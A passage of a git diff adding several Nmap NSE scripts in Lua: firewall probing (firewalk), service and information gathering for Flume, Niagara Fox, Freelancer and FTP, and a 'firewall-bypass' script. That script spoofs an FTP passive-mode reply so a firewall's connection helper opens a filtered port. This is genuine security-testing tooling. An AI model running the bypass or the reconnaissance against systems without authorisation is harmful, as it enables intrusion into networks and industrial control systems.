+ Firewalk.parse_reply(scanner, l3)
+ end
+
+ timeout = timeout - (nmap.clock_ms() - start)
+
+ until timeout <= 0 or #scanner.active_probes == 0
+end
+
+--- delete timedout probes, update pending probes
+-- @param scanner the scanner handle
+local function update_probe_queues(scanner)
+
+ local now = nmap.clock_ms()
+
+ -- remove timedout probes
+ for i, probe in ipairs(scanner.active_probes) do
+
+ if (now - probe.sent_time) >= ProbeTimeout then
+
+ table.remove(scanner.active_probes, i)
+
+ if probe.retry < MaxRetries then
+ table.insert(scanner.pending_resends, probe)
+ else
+
+ -- decrease ttl, reset retries counter and put probes in send queue
+ if probe.ttl > 1 then
+
+ probe.ttl = probe.ttl - 1
+ probe.retry = 0
+ table.insert(scanner.sendqueue, probe)
+
+ else
+
+ -- set final_ttl to zero (=> probe might be blocked by localhost)
+ scanner.ports[probe.proto][probe.portno].final_ttl = 0
+ scanner.ports[probe.proto][probe.portno].scanned = true
+
+ end
+ end
+ end
+ end
+end
+
+--- fills the send queue with initial probes
+-- @param scanner the scanner handle
+local function generate_initial_probes(scanner)
+
+ for proto, ports in pairs(scanner.ports) do
+
+ for portno in pairs(ports) do
+
+ -- simply store probe parameters and craft packet at send time
+ local probe = {
+ ttl = scanner.ttl, -- initial ttl value
+ proto = proto, -- layer 4 protocol (string)
+ portno = portno, -- layer 4 port number
+ retry = 0, -- retries counter
+ sent_time = 0 -- last sending time
+ }
+
+ table.insert(scanner.sendqueue, probe)
+
+ end
+ end
+end
+
+--- firewalk entry point
+action = function(host)
+
+ firewalk_init() -- global script initialization process
+
+ -- scan handle, scanner state is saved in this table
+ local scanner = {
+ target = host,
+ ttl = initial_ttl(host),
+
+ ports = FirewalkPorts,
+
+ sendqueue = {}, -- pending probes
+ pending_resends = {}, -- probes needing to be resent
+ active_probes = {}, -- probes currently neither replied nor timedout
+ }
+
+ if not scanner.ttl then
+ return nil
+ end
+
+ Firewalk.init(scanner)
+
+ generate_initial_probes(scanner)
+
+ while not finished(scanner) do
+ send_next_probes(scanner)
+ read_replies(scanner)
+ update_probe_queues(scanner)
+ end
+
+ Firewalk.shutdown(scanner)
+
+ return report(scanner)
+end
diff --git a/scripts/firewall-bypass.nse b/scripts/firewall-bypass.nse
new file mode 100644
index 0000000..8c7b37f
--- /dev/null
+++ b/scripts/firewall-bypass.nse
@@ -0,0 +1,284 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local packet = require "packet"
+
+description = [[
+Detects a vulnerability in netfilter and other firewalls that use helpers to
+dynamically open ports for protocols such as ftp and sip.
+
+The script works by spoofing a packet from the target server asking for opening
+a related connection to a target port which will be fulfilled by the firewall
+through the adequate protocol helper port. The attacking machine should be on
+the same network segment as the firewall for this to work. The script supports
+ftp helper on both IPv4 and IPv6. Real path filter is used to prevent such
+attacks.
+
+Based on work done by Eric Leblond.
+
+For more information, see:
+
+* http://home.regit.org/2012/03/playing-with-network-layers-to-bypass-firewalls-filtering-policy/
+]]
+
+---
+-- @args firewall-bypass.helper The helper to use. Defaults to <code>ftp</code>.
+-- Supported helpers: ftp (Both IPv4 and IPv6).
+--
+-- @args firewall-bypass.helperport If not using the helper's default port.
+--
+-- @args firewall-bypass.targetport Port to test vulnerability on. Target port should be a
+-- non-open port. If not given, the script will try to find a filtered or closed port from
+-- the port scan results.
+--
+-- @usage
+-- nmap --script firewall-bypass <target>
+-- nmap --script firewall-bypass --script-args firewall-bypass.helper="ftp", firewall-bypass.targetport=22 <target>
+--
+-- @output
+-- Host script results:
+-- | firewall-bypass:
+-- |_ Firewall vulnerable to bypass through ftp helper. (IPv4)
+
+author = "Hani Benhabiles"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"vuln", "intrusive"}
+
+ftp_helper = {
+ should_run = function(host, helperport)
+ local helperport = helperport or 21
+ -- IPv4 and IPv6 are supported
+ if nmap.address_family() ~= 'inet' and nmap.address_family() ~= 'inet6' then
+ return false
+ end
+
+ -- Test if helper port is open
+ local testsock = nmap.new_socket()
+ testsock:set_timeout(1000)
+ local status, _ = testsock:connect(host.ip, helperport)
+ testsock:close()
+ if not status then
+ stdnse.debug1("Unable to connect to %s helper port.", helperport)
+ return false
+ end
+ return true
+ end,
+
+ attack = function(host, helperport, targetport)
+ local ethertype, payload
+ local isIp4 = nmap.address_family() == 'inet' -- True if we are using IPv4. Otherwise, it is IPv6
+
+ if isIp4 then
+ -- IPv4 payload
+ payload = "227 Entering Passive Mode (" ..
+ string.gsub(host.ip,"%.",",") .. "," ..
+ ((targetport >> 8) & 0xff) ..
+ "," .. (targetport & 0xff) ..
+ ")\r\n"
+ ethertype = "\x08\0" -- Ethernet Type: IPv4
+
+ else
+ -- IPv6 payload
+ payload = "229 Extended Passive Mode OK (|||" .. targetport .. "|)\r\n"
+ ethertype = "\x86\xdd" -- Ethernet Type: IPv6
+ end
+
+ helperport = helperport or 21
+ local function spoof_ftp_packet(host, helperport, targetport)
+ -- Sniffs the network for src host host.ip and src port helperport
+ local filter = "src host " .. host.ip .. " and tcp src port " .. helperport
+ local status, l2data, l3data
+ local timeout = 1000
+ local start = nmap.clock_ms()
+
+ -- Start sniffing
+ local sniffer = nmap.new_socket()
+ sniffer:set_timeout(100)
+ sniffer:pcap_open(host.interface, 256, true, filter)
+
+ -- Until we get adequate packet
+ while (nmap.clock_ms() - start) < timeout do
+ local _
+ status, _, l2data, l3data = sniffer:pcap_receive()
+ if status and string.find(l3data, "220 ") then
+ break
+ end
+ end
+ if not status then
+ stdnse.debug1("pcap read timed out")
+ return false
+ end
+
+ -- Get ethernet values
+ local f = packet.Frame:new(l2data)
+ f:ether_parse()
+
+ local p = packet.Packet:new(l3data, #l3data)
+ if isIp4 then
+ if not p:ip_parse() then
+ -- An error happened
+ stdnse.debug1("Couldn't parse IPv4 sniffed packet.")
+ sniffer:pcap_close()
+ return false
+ end
+ else
+ if not p:ip6_parse() then
+ -- An error happened
+ stdnse.debug1("Couldn't parse IPv6 sniffed packet.")
+ sniffer:pcap_close()
+ return false
+ end
+ end
+
+ -- Spoof packet
+ -- 1. Invert ethernet addresses
+ f.frame_buf = f.mac_src .. f.mac_dst .. ethertype
+
+ -- 2. Modify packet payload
+ p.buf = string.sub(p.buf, 1, p.tcp_data_offset) .. payload
+ -- 3. Increment IP ID field (IPv4 packets)
+ if isIp4 then
+ p:ip_set_id(p.ip_id + 1)
+ end
+
+ -- 4. Set TCP sequence number correctly using traffic data
+ p:tcp_set_seq(p.tcp_seq + p.tcp_data_length)
+
+ -- 5. Update all checksums and lengths
+ if isIp4 then
+ -- Packet length field
+ p:ip_set_len(#p.buf)
+ p:ip_count_checksum()
+ else
+ -- Payload length field
+ p:ip6_set_plen(#p.buf - p.tcp_offset)
+ end
+ p:tcp_count_checksum()
+
+ -- and finally, we send it.
+ local dnet = nmap.new_dnet()
+ dnet:ethernet_open(host.interface)
+ dnet:ethernet_send(f.frame_buf .. p.buf)
+ status = sniffer:pcap_receive()
+ dnet:ethernet_close()
+ return true
+ end
+
+ local co = stdnse.new_thread(spoof_ftp_packet, host, helperport, targetport)
+
+ -- Wait for packet spoofing thread
+ stdnse.sleep(1)
+ -- Make connection to the target while packet the spoofing thread is sniffing for packets
+ local socket = nmap.new_socket()
+ socket:set_timeout(3000)
+ local status, _ = socket:connect(host.ip, helperport)
+ if not status then
+ -- Problem connecting to helper port
+ stdnse.debug1("Problem connecting to helper port %s.", tostring(helperport))
+ return
+ end
+
+ -- wait packet spoofing thread to finish
+ stdnse.sleep(1.5)
+ socket:close()
+ return
+ end,
+}
+
+-- List of helpers
+local helpers = {
+ ftp = ftp_helper, -- FTP (IPv4 and IPv6)
+}
+
+local helper
+
+hostrule = function(host)
+ helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
+
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("lacks privileges." )
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ end
+ return false
+ end
+
+ if not host.interface then
+ return false
+ end
+
+ if helper and not helpers[helper] then
+ stdnse.debug1("%s helper not supported at the moment.", helper)
+ return false
+ end
+
+ return true
+end
+
+action = function(host, port)
+ local helperport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".helperport"))
+ local targetport = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".targetport"))
+ local helpername
+
+ if targetport then
+ -- We should check if target port is not already open
+ local testsock = nmap.new_socket()
+ testsock:set_timeout(1000)
+ local status, _ = testsock:connect(host.ip, targetport)
+ if status then
+ stdnse.debug1("%s target port already open.", targetport)
+ return nil
+ end
+ testsock:close()
+ else
+ -- If not target port specified, we try to get a filtered port,
+ -- which would be more likely blocked by a firewall before looking for a closed one.
+ local port = nmap.get_ports(host, nil, "tcp", "filtered") or nmap.get_ports(host, nil, "tcp", "closed")
+ if port then
+ targetport = port.number
+ stdnse.debug1("%s chosen as target port.", targetport)
+ else
+ -- No closed or filtered ports to check on.
+ stdnse.debug1("Target port not specified and no closed or filtered port found.")
+ return
+ end
+ end
+ -- If helper chosen by user
+ if helper then
+ if helpers[helper].should_run(host, helperport) then
+ helpers[helper].attack(host, helperport, targetport)
+ else
+ return
+ end
+ -- If no helper chosen manually, we iterate over table to find a suitable one.
+ else
+ for i, helper in pairs(helpers) do
+ if helper.should_run(host, helperport) then
+ helpername = i
+ stdnse.debug1("%s chosen as helper.", helpername)
+ helper.attack(host, helperport, targetport)
+ break
+ end
+ end
+ if not helpername then
+ stdnse.debug1("no suitable helper found.")
+ return nil
+ end
+ end
+
+ -- Then we check if target port is now open.
+ local testsock = nmap.new_socket()
+ testsock:set_timeout(1000)
+ local status, _ = testsock:connect(host.ip, targetport)
+ testsock:close()
+ if status then
+ -- If we could connect, then port is open and firewall is vulnerable.
+ local vulnstring = "Firewall vulnerable to bypass through " .. (helper or helpername) .. " helper. "
+ .. (nmap.address_family() == 'inet' and "(IPv4)" or "(IPv6)")
+
+ return stdnse.format_output(true, vulnstring)
+ end
+end
diff --git a/scripts/flume-master-info.nse b/scripts/flume-master-info.nse
new file mode 100644
index 0000000..07017af
--- /dev/null
+++ b/scripts/flume-master-info.nse
@@ -0,0 +1,296 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local target = require "target"
+
+description = [[
+Retrieves information from Flume master HTTP pages.
+
+Information gathered:
+* Flume version
+* Flume server id
+* Zookeeper/Hbase master servers present in configured flows
+* Java information
+* OS information
+* various other local configurations.
+
+If this script is run wth -v, it will output lots more info.
+
+Use the <code>newtargets</code> script argument to add discovered hosts to
+the Nmap scan queue.
+]]
+
+---
+-- @usage
+-- nmap --script flume-master-info -p 35871 host
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 35871/tcp open flume-master syn-ack
+--| flume-master-info:
+--| Version: 0.9.4-cdh3u3
+--| ServerID: 0
+--| Flume nodes:
+--| node1.example.com
+--| node2.example.com
+--| node5.example.com
+--| node6.example.com
+--| node3.example.com
+--| node4.example.com
+--| Zookeeper Master:
+--| master1.example.com
+--| Hbase Master Master:
+--| hdfs://master1.example.com:8020/hbase
+--| Enviroment:
+--| java.runtime.name: Java(TM) SE Runtime Environment
+--| java.runtime.version: 1.6.0_36-a01
+--| java.version: 1.6.0_36
+--| java.vm.name: Java HotSpot(TM) 64-Bit Server VM
+--| java.vm.vendor: Sun Microsystems Inc.
+--| java.vm.version: 14.0-b12
+--| os.arch: amd64
+--| os.name: Linux
+--| os.version: 2.6.32-220.4.2.el6.x86_64
+--| user.country: US
+--| user.name: flume
+--| Config:
+--| dfs.datanode.address: 0.0.0.0:50010
+--| dfs.datanode.http.address: 0.0.0.0:50075
+--| dfs.datanode.https.address: 0.0.0.0:50475
+--| dfs.datanode.ipc.address: 0.0.0.0:50020
+--| dfs.http.address: master1.example.com:50070
+--| dfs.https.address: 0.0.0.0:50470
+--| dfs.secondary.http.address: 0.0.0.0:50090
+--| flume.collector.dfs.dir: hdfs://master1.example.com/user/flume/collected
+--| flume.collector.event.host: node1.example.com
+--| flume.master.servers: master1.example.com
+--| fs.default.name: hdfs://master1.example.com:8020
+--| mapred.job.tracker: master1.example.com:9001
+--| mapred.job.tracker.handler.count: 10
+--| mapred.job.tracker.http.address: 0.0.0.0:50030
+--| mapred.job.tracker.http.address: 0.0.0.0:50030
+--| mapred.job.tracker.jobhistory.lru.cache.size: 5
+--| mapred.job.tracker.persist.jobstatus.active: false
+--| mapred.job.tracker.persist.jobstatus.dir: /jobtracker/jobsInfo
+--| mapred.job.tracker.persist.jobstatus.hours: 0
+--| mapred.job.tracker.retiredjobs.cache.size: 1000
+--| mapred.task.tracker.http.address: 0.0.0.0:50060
+--|_ mapred.task.tracker.report.address: 127.0.0.1:0
+--
+--@xmloutput
+-- <elem key="Version">0.9.4-cdh3u3</elem>
+-- <elem key="ServerID">0</elem>
+-- <table key="Flume nodes">
+-- <elem>node1.example.com</elem>
+-- <elem>node2.example.com</elem>
+-- <elem>node5.example.com</elem>
+-- <elem>node6.example.com</elem>
+-- <elem>node3.example.com</elem>
+-- <elem>node4.example.com</elem>
+-- </table>
+-- <table key="Zookeeper Master">
+-- <elem>master1.example.com</elem>
+-- </table>
+-- <table key="Hbase Master Master">
+-- <elem>hdfs://master1.example.com:8020/hbase</elem>
+-- </table>
+-- <table key="Enviroment">
+-- <elem key="java.runtime.name">Java(TM) SE Runtime Environment</elem>
+-- <elem key="java.runtime.version">1.6.0_36-a01</elem>
+-- <elem key="java.version">1.6.0_36</elem>
+-- <elem key="java.vm.name">Java HotSpot(TM) 64-Bit Server VM</elem>
+-- <elem key="java.vm.vendor">Sun Microsystems Inc.</elem>
+-- <elem key="java.vm.version">14.0-b12</elem>
+-- <elem key="os.arch">amd64</elem>
+-- <elem key="os.name">Linux</elem>
+-- <elem key="os.version">2.6.32-220.4.2.el6.x86_64</elem>
+-- <elem key="user.country">US</elem>
+-- <elem key="user.name">flume</elem>
+-- </table>
+-- <table key="Config">
+-- <elem key="dfs.datanode.address">0.0.0.0:50010</elem>
+-- <elem key="dfs.datanode.http.address">0.0.0.0:50075</elem>
+-- <elem key="dfs.datanode.https.address">0.0.0.0:50475</elem>
+-- <elem key="dfs.datanode.ipc.address">0.0.0.0:50020</elem>
+-- <elem key="dfs.http.address">master1.example.com:50070</elem>
+-- <elem key="dfs.https.address">0.0.0.0:50470</elem>
+-- <elem key="dfs.secondary.http.address">0.0.0.0:50090</elem>
+-- <elem key="flume.collector.dfs.dir">hdfs://master1.example.com/user/flume/collected</elem>
+-- <elem key="flume.collector.event.host">node1.example.com</elem>
+-- <elem key="flume.master.servers">master1.example.com</elem>
+-- <elem key="fs.default.name">hdfs://master1.example.com:8020</elem>
+-- <elem key="mapred.job.tracker">master1.example.com:9001</elem>
+-- <elem key="mapred.job.tracker.handler.count">10</elem>
+-- <elem key="mapred.job.tracker.http.address">0.0.0.0:50030</elem>
+-- <elem key="mapred.job.tracker.http.address">0.0.0.0:50030</elem>
+-- <elem key="mapred.job.tracker.jobhistory.lru.cache.size">5</elem>
+-- <elem key="mapred.job.tracker.persist.jobstatus.active">false</elem>
+-- <elem key="mapred.job.tracker.persist.jobstatus.dir">/jobtracker/jobsInfo</elem>
+-- <elem key="mapred.job.tracker.persist.jobstatus.hours">0</elem>
+-- <elem key="mapred.job.tracker.retiredjobs.cache.size">1000</elem>
+-- <elem key="mapred.task.tracker.http.address">0.0.0.0:50060</elem>
+-- <elem key="mapred.task.tracker.report.address">127.0.0.1:0</elem>
+-- </table>
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({35871}, "flume-master")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port)
+ and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+function add_target(hostname)
+ if target.ALLOW_NEW_TARGETS then
+ stdnse.debug1("Added target: %s", hostname)
+ local status,err = target.add(hostname)
+ end
+end
+
+-- ref: http://lua-users.org/wiki/TableUtils
+function table_count(tt, item)
+ local count
+ count = 0
+ for ii,xx in pairs(tt) do
+ if item == xx then count = count + 1 end
+ end
+ return count
+end
+
+parse_page = function( host, port, uri, interesting_keys )
+ local result = stdnse.output_table()
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s", response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK")
+ and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ for name,value in string.gmatch(body,
+ "<tr><th>([^][<]+)</th>%s*<td><div%sclass=[^][>]+>([^][<]+)") do
+ stdnse.debug1("%s=%s ", name, value:gsub("^%s*(.-)%s*$", "%1"))
+ if nmap.verbosity() > 1 then
+ result[name] = value:gsub("^%s*(.-)%s*$", "%1")
+ else
+ for i,v in ipairs(interesting_keys) do
+ if name:match(("^%s"):format(v)) then
+ result[name] = value:gsub("^%s*(.-)%s*$", "%1")
+ end
+ end
+ end
+ end
+ end
+ return result
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local uri = "/flumemaster.jsp"
+ local env_uri = "/masterenv.jsp"
+ local config_uri = "/masterstaticconfig.jsp"
+ local env_keys = {
+ "java.runtime",
+ "java.version",
+ "java.vm.name",
+ "java.vm.vendor",
+ "java.vm.version",
+ "os",
+ "user.name",
+ "user.country",
+ "user.language,user.timezone"
+ }
+ local config_keys = {
+ "dfs.datanode.address",
+ "dfs.datanode.http.address",
+ "dfs.datanode.https.address",
+ "dfs.datanode.ipc.address",
+ "dfs.http.address",
+ "dfs.https.address",
+ "dfs.secondary.http.address",
+ "flume.collector.dfs.dir",
+ "flume.collector.event.host",
+ "flume.master.servers",
+ "fs.default.name",
+ "mapred.job.tracker",
+ "mapred.job.tracker.http.address",
+ "mapred.task.tracker.http.address",
+ "mapred.task.tracker.report.address"
+ }
+ local nodes = { }
+ local zookeepers = { }
+ local hbasemasters = { }
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s", response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK")
+ and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ local capacity = {}
+ stdnse.debug2("Body %s\n", body)
+ if body:match("Version:%s*</b>([^][,]+)") then
+ local version = body:match("Version:%s*</b>([^][,]+)")
+ stdnse.debug1("Version %s", version)
+ result["Version"] = version
+ port.version.version = version
+ end
+ if body:match("Compiled:%s*</b>([^][<]+)") then
+ local compiled = body:match("Compiled:%s*</b>([^][<]+)")
+ stdnse.debug1("Compiled %s", compiled)
+ result["Compiled"] = compiled
+ end
+ if body:match("ServerID:%s*([^][<]+)") then
+ local upgrades = body:match("ServerID:%s*([^][<]+)")
+ stdnse.debug1("ServerID %s", upgrades)
+ result["ServerID"] = upgrades
+ end
+ for logical,physical,hostname in string.gmatch(body,
+ "<tr><td>([%w%.-_:]+)</td><td>([%w%.]+)</td><td>([%w%.]+)</td>") do
+ stdnse.debug2("%s (%s) %s", physical, logical, hostname)
+ if (table_count(nodes, hostname) == 0) then
+ nodes[#nodes+1] = hostname
+ add_target(hostname)
+ end
+ end
+ if next(nodes) ~= nil then
+ result["Flume nodes"] = nodes
+ end
+ for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
+ if (table_count(zookeepers, zookeeper) == 0) then
+ zookeepers[#zookeepers+1] = zookeeper
+ add_target(zookeeper)
+ end
+ end
+ if next(zookeepers) ~= nil then
+ result["Zookeeper Master"] = zookeepers
+ end
+ for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
+ if (table_count(hbasemasters, hbasemaster) == 0) then
+ hbasemasters[#hbasemasters+1] = hbasemaster
+ add_target(hbasemaster)
+ end
+ end
+ if next(hbasemasters) ~= nil then
+ result["Hbase Masters"] = hbasemasters
+ end
+ local vars = parse_page(host, port, env_uri, env_keys )
+ if next(vars) ~= nil then
+ result["Environment"] = vars
+ end
+ local vars = parse_page(host, port, config_uri, config_keys )
+ if next(vars) ~= nil then
+ result["Config"] = vars
+ end
+ if #result > 0 then
+ port.version.name = "flume-master"
+ port.version.product = "Apache Flume"
+ nmap.set_port_version(host, port)
+ return result
+ end
+ end
+end
diff --git a/scripts/fox-info.nse b/scripts/fox-info.nse
new file mode 100644
index 0000000..1480eeb
--- /dev/null
+++ b/scripts/fox-info.nse
@@ -0,0 +1,139 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local comm = require "comm"
+local ipOps = require "ipOps"
+
+description = [[
+Tridium Niagara Fox is a protocol used within Building Automation Systems. Based
+off Billy Rios and Terry McCorkle's work this Nmap NSE will collect information
+from A Tridium Niagara system.
+
+http://digitalbond.com
+
+]]
+
+---
+-- @usage
+-- nmap --script fox-info.nse -p 1911 <host>
+--
+-- @output
+-- 1911/tcp open Niagara Fox
+-- | fox-info:
+-- | fox.version: 1.0.1
+-- | hostName: xpvm-0omdc01xmy
+-- | hostAddress: 192.168.1.1
+-- | app.name: Workbench
+-- | app.version: 3.7.44
+-- | vm.name: Java HotSpot(TM) Server VM
+-- | vm.version: 20.4-b02
+-- | os.name: Windows XP
+-- | timeZone: America/Chicago
+-- | hostId: Win-99CB-D49D-5442-07BB
+-- | vmUuid: 8b530bc8-76c5-4139-a2ea-0fabd394d305
+-- |_ brandId: vykon
+--
+-- @xmloutput
+--<elem key="fox.version">1.0.1</elem>
+--<elem key="hostName">xpvm-0omdc01xmy</elem>
+--<elem key="hostAddress">192.168.1.1</elem>
+--<elem key="app.name">Workbench</elem>
+--<elem key="app.version">3.7.44</elem>
+--<elem key="vm.name">Java HotSpot(TM) Server VM</elem>
+--<elem key="vm.version">20.4-b02</elem>
+--<elem key="os.Name">Windows XP</elem>
+--<elem key="timeZone">America/Chicago</elem>
+--<elem key="hostId">Win-99CB-D49D-5442-07BB</elem>
+--<elem key="vmUuid">8b530bc8-76c5-4139-a2ea-0fabd394d305</elem>
+--<elem key="brandId">vykon</elem>
+
+author = "Stephen Hilt (Digital Bond)"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "version"}
+
+
+portrule = shortport.version_port_or_service({1911, 4911}, "niagara-fox", "tcp")
+
+-- Action Function that is used to run the NSE. This function will send the
+-- initial query to the host and port that were passed in via nmap. The
+-- initial response is parsed to determine if host is a Niagara Fox device. If it
+-- is then more actions are taken to gather extra information.
+--
+-- @param host Host that was scanned via nmap
+-- @param port port that was scanned via nmap
+action = function(host, port)
+ --set the first query data for sending
+ local orig_query =
+ [==[fox a 1 -1 fox hello
+{
+fox.version=s:1.0
+id=i:1
+};;
+]==]
+
+ -- receive response
+ local socket, response, proto = comm.tryssl(host, port, orig_query)
+ if not socket then
+ stdnse.debug1( "Receive error: %s", response)
+ return nil
+ end
+ socket:close()
+
+ if proto == "ssl" then
+ port.version.service_tunnel = "ssl"
+ end
+
+ local pos = response:find("{")
+ if not pos or not response:match("^fox a 0") then
+ stdnse.debug1("Not Niagara Fox protocol")
+ return nil
+ end
+
+ -- output table that will be returned to nmap
+ local to_return = stdnse.output_table()
+
+ local set = function (key, value)
+ to_return[key] = value
+ end
+
+ local dispatch = {
+ hostName = function (key, value)
+ if not ipOps.ip_to_str(value) then
+ -- If this is an IP address, don't set it as a hostname
+ port.version.hostname = value
+ end
+ to_return[key] = value
+ end,
+ hostAddress = set,
+ ["fox.version"] = set,
+ ["app.name"] = set,
+ ["app.version"] = set,
+ ["vm.name"] = set,
+ ["vm.version"] = set,
+ ["os.name"] = set,
+ timeZone = function (key, value)
+ to_return[key] = value:match("^[^;]+")
+ end,
+ hostId = set,
+ vmUuid = set,
+ brandId = set,
+ fatal = set, -- sometimes reports a fatal error about unsupported
+ }
+
+ for key, value in response:gmatch("\n([%w.]+)=s:([^\n]+)") do
+ local act = dispatch[key]
+ if act then
+ act(key, value)
+ end
+ end
+
+ if #to_return <= 0 then
+ return nil
+ end
+
+ port.version.name = "niagara-fox"
+ nmap.set_port_version(host, port)
+
+ -- return output table to nmap
+ return to_return
+end
diff --git a/scripts/freelancer-info.nse b/scripts/freelancer-info.nse
new file mode 100644
index 0000000..2a30d18
--- /dev/null
+++ b/scripts/freelancer-info.nse
@@ -0,0 +1,107 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+
+description = [[
+Detects the Freelancer game server (FLServer.exe) service by sending a
+status query UDP probe.
+
+When run as a version detection script (<code>-sV</code>), the script
+will report on the server name, current number of players, maximum
+number of players, and whether it has a password set. When run
+explicitly (<code>--script freelancer-info</code>), the script will
+additionally report on the server description, whether players can harm
+other players, and whether new players are allowed.
+
+See http://sourceforge.net/projects/gameq/
+(relevant files: games.ini, packets.ini, freelancer.php)
+]]
+
+---
+-- @usage
+-- nmap -sU -sV -p 2302 <target>
+-- nmap -sU -p 2302 --script=freelancer-info <target>
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 2302/udp open freelancer udp-response Freelancer (name: Discovery Freelancer RP 24/7; players: 152/225; password: no)
+-- | freelancer-info:
+-- | server name: Discovery Freelancer RP 24/7
+-- | server description: This is the official discovery freelancer RP server. To know more about the server, please visit www.discoverygc.com
+-- | players: 152
+-- | max. players: 225
+-- | password: no
+-- | allow players to harm other players: yes
+-- |_ allow new players: yes
+--
+-- @xmloutput
+-- <elem key="server name">Discovery Freelancer RP 24/7</elem>
+-- <elem key="server description">This is the official discovery freelancer RP server. To know more about the server, please visit www.discoverygc.com</elem>
+-- <elem key="players">152</elem>
+-- <elem key="max. players">225</elem>
+-- <elem key="password">no</elem>
+-- <elem key="allow players to harm other players">yes</elem>
+-- <elem key="allow new players">yes</elem>
+
+author = "Marin Maržić"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "default", "discovery", "safe", "version" }
+
+portrule = shortport.version_port_or_service({2302}, "freelancer", "udp")
+
+action = function(host, port)
+ local status, data = comm.exchange(host, port,
+ "\x00\x02\xf1\x26\x01\x26\xf0\x90\xa6\xf0\x26\x57\x4e\xac\xa0\xec\xf8\x68\xe4\x8d\x21",
+ { timeout = 3000 })
+ if not status then
+ return
+ end
+
+ -- port is open
+ nmap.set_port_state(host, port, "open")
+
+ local passwordbyte, maxplayers, numplayers, name, pvpallow, newplayersallow, description =
+ string.match(data, "^\x00\x03\xf1\x26............(.)...(.)...(.)...................................................................(.*)\0\0(.):(.):.*:.*:.*:(.*)\0\0$")
+ if not passwordbyte then
+ return
+ end
+
+ local o = stdnse.output_table()
+
+ o["server name"] = string.gsub(name, "[^%g%s]", "")
+ o["server description"] = string.gsub(description, "[^%g%s]", "")
+ o["players"] = numplayers:byte(1) - 1
+ o["max. players"] = maxplayers:byte(1) - 1
+
+ passwordbyte = passwordbyte:byte(1)
+ if passwordbyte & 128 ~= 0 then
+ o["password"] = "yes"
+ else
+ o["password"] = "no"
+ end
+
+ o["allow players to harm other players"] = "n/a"
+ if pvpallow == "1" then
+ o["allow players to harm other players"] = "yes"
+ elseif pvpallow == "0" then
+ o["allow players to harm other players"] = "no"
+ end
+
+ o["allow new players"] = "n/a"
+ if newplayersallow == "1" then
+ o["allow new players"] = "yes"
+ elseif newplayersallow == "0" then
+ o["allow new players"] = "no"
+ end
+
+ port.version.name = "freelancer"
+ port.version.name_confidence = 10
+ port.version.product = "Freelancer"
+ port.version.extrainfo = "name: " .. o["server name"] .. "; players: " ..
+ o["players"] .. "/" .. o["max. players"] .. "; password: " .. o["password"]
+
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return o
+end
diff --git a/scripts/ftp-anon.nse b/scripts/ftp-anon.nse
new file mode 100644
index 0000000..50274b5
--- /dev/null
+++ b/scripts/ftp-anon.nse
@@ -0,0 +1,144 @@
+local ftp = require "ftp"
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks if an FTP server allows anonymous logins.
+
+If anonymous is allowed, gets a directory listing of the root directory
+and highlights writeable files.
+]]
+
+---
+-- @see ftp-brute.nse
+--
+-- @args ftp-anon.maxlist The maximum number of files to return in the
+-- directory listing. By default it is 20, or unlimited if verbosity is
+-- enabled. Use a negative number to disable the limit, or
+-- <code>0</code> to disable the listing entirely.
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | ftp-anon: Anonymous FTP login allowed (FTP code 230)
+-- | -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner
+-- | d--x--x--x 2 root root 1024 Jan 14 2002 bin
+-- | d--x--x--x 2 root root 1024 Aug 10 1999 etc
+-- | drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]
+-- | d--x--x--x 2 root root 1024 Jan 14 2002 lib
+-- | drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub
+-- |_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
+
+author = {"Eddie Bell", "Rob Nicholls", "Ange Gutek", "David Fifield"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "auth", "safe"}
+
+
+portrule = shortport.port_or_service({21,990}, {"ftp","ftps"})
+
+-- ---------------------
+-- Directory listing function.
+-- We ask for a PASV connexion, catch the port returned by the server, send a
